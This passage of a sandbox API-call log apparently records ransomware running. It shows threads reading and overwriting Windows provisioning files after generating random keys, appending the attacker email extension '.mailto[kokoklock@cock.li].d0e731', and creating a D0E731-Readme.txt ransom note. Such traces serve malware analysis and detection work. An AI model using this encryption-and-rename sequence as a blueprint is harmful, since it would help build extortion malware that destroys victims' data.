hFile=0x640, lpBuffer=0x2d03fbc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2d03fbc4*, lpNumberOfBytesRead=0x2d03fbc0*=0x4, lpOverlapped=0x0) returned 1 [0085.933] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd998 [0085.933] NtQuerySystemTime (in: CurrentTime=0x2d03fb9c | out: CurrentTime=0x2d03fb9c*=132121176438204046) returned 0x0 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x17040b76 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xc1a44e1b [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x2e1fccd2 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xfb5d6036 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xadb4c90a [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x40a9ba92 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x465e4583 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xc7c975a9 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xe67332b3 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x64097d11 [0085.933] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x902ed650 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x51e22cf6 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x377416 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x3bdf6853 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xaa541fcb [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x96e8943d [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x192e7779 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x1342c232 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xfa7d0418 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xb9946fb8 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xa3852124 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x5308b6ac [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x160f1d37 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xf3072e10 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x9c0d9da3 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xb774814a [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x907af199 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x2291cda3 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x1235892b [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0x2d3f7940 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xd7866736 [0085.934] RtlRandom (in: Seed=0x2d03fba8 | out: Seed=0x2d03fba8) returned 0xc920ac8b [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.945] ReadFile (in: hFile=0x640, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x2d03fb9c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2d03fb9c*=0x2cd, lpOverlapped=0x0) returned 1 [0085.945] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d03fb64 | out: lpNewFilePointer=0x0) returned 1 [0085.945] WriteFile (in: hFile=0x640, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x2cd, lpNumberOfBytesWritten=0x2d03fb98, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2d03fb98*=0x2cd, lpOverlapped=0x0) returned 1 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.945] WriteFile (in: hFile=0x640, lpBuffer=0x55dd8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d03fb94, lpOverlapped=0x0 | out: lpBuffer=0x55dd8a8*, lpNumberOfBytesWritten=0x2d03fb94*=0x20, lpOverlapped=0x0) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0085.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.945] WriteFile (in: hFile=0x640, lpBuffer=0x55dd9e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x55dd9e8*, lpNumberOfBytesWritten=0x2d03fbc0*=0x8, lpOverlapped=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x640, lpBuffer=0x2d03fbd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2d03fbd8*, lpNumberOfBytesWritten=0x2d03fbc0*=0x4, lpOverlapped=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x640, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d03fbc0*=0x4, lpOverlapped=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x640, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d03fbc0*=0x6c, lpOverlapped=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x640, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d03fbc0*=0x20, lpOverlapped=0x0) returned 1 [0085.946] WriteFile (in: hFile=0x640, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d03fbc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d03fbc0*=0x4, lpOverlapped=0x0) returned 1 [0085.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.946] CloseHandle (hObject=0x640) returned 1 [0085.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x192) returned 0x33f2308 [0085.946] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" [0085.946] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.946] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.947] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.947] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0085.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0085.948] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.948] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.948] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0085.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9128) returned 1 [0085.948] RtlExitUserThread (Status=0x1) Thread: id = 1288 os_tid = 0x1104 [0085.381] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.209] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.209] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d0bfb5c | out: lpFileSize=0x2d0bfb5c*=646) returned 1 [0086.209] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.209] ReadFile (in: hFile=0xa30, lpBuffer=0x2d0bfb30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x2d0bfb30*, lpNumberOfBytesRead=0x2d0bfb2c*=0x4, lpOverlapped=0x0) returned 1 [0086.211] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc18 [0086.211] NtQuerySystemTime (in: CurrentTime=0x2d0bfb08 | out: CurrentTime=0x2d0bfb08*=132121176441016310) returned 0x0 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xaa8e1b0e [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x60322166 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x52af1588 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x27a1a227 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x13df428b [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x6ceb2622 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x950191dd [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xe54f96d2 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xfa4159c5 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x969b51a1 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x49849817 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xf786b31 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xc0df1aff [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xaceae70c [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x42d90896 [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x5f3ede5f [0086.211] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x5d9b3481 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x93b6a743 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x9b8d2f8d [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xcd84bb4 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x205c9a6b [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xe46d2b5b [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x5f2f4751 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x3bef3278 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xbcd7b5ea [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xaf033c0a [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xcf4bb01c [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x9715f98f [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x8530719e [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xd109c02 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0x16d45ea5 [0086.212] RtlRandom (in: Seed=0x2d0bfb14 | out: Seed=0x2d0bfb14) returned 0xd90797fa [0086.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.223] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2d0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d0bfb08*=0x286, lpOverlapped=0x0) returned 1 [0086.223] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0bfad0 | out: lpNewFilePointer=0x0) returned 1 [0086.223] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2d0bfb04, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d0bfb04*=0x286, lpOverlapped=0x0) returned 1 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.223] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d0bfb00, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2d0bfb00*=0x20, lpOverlapped=0x0) returned 1 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.223] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddd80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x55ddd80*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x8, lpOverlapped=0x0) returned 1 [0086.223] WriteFile (in: hFile=0xa30, lpBuffer=0x2d0bfb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x2d0bfb44*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x4, lpOverlapped=0x0) returned 1 [0086.224] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x4, lpOverlapped=0x0) returned 1 [0086.224] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x6c, lpOverlapped=0x0) returned 1 [0086.224] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x55ddbf0*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x20, lpOverlapped=0x0) returned 1 [0086.224] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d0bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d0bfb2c*=0x4, lpOverlapped=0x0) returned 1 [0086.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd58) returned 1 [0086.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd80) returned 1 [0086.224] CloseHandle (hObject=0xa30) returned 1 [0086.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17e) returned 0x341a7f8 [0086.224] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" [0086.224] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.224] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.225] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.225] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.226] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All 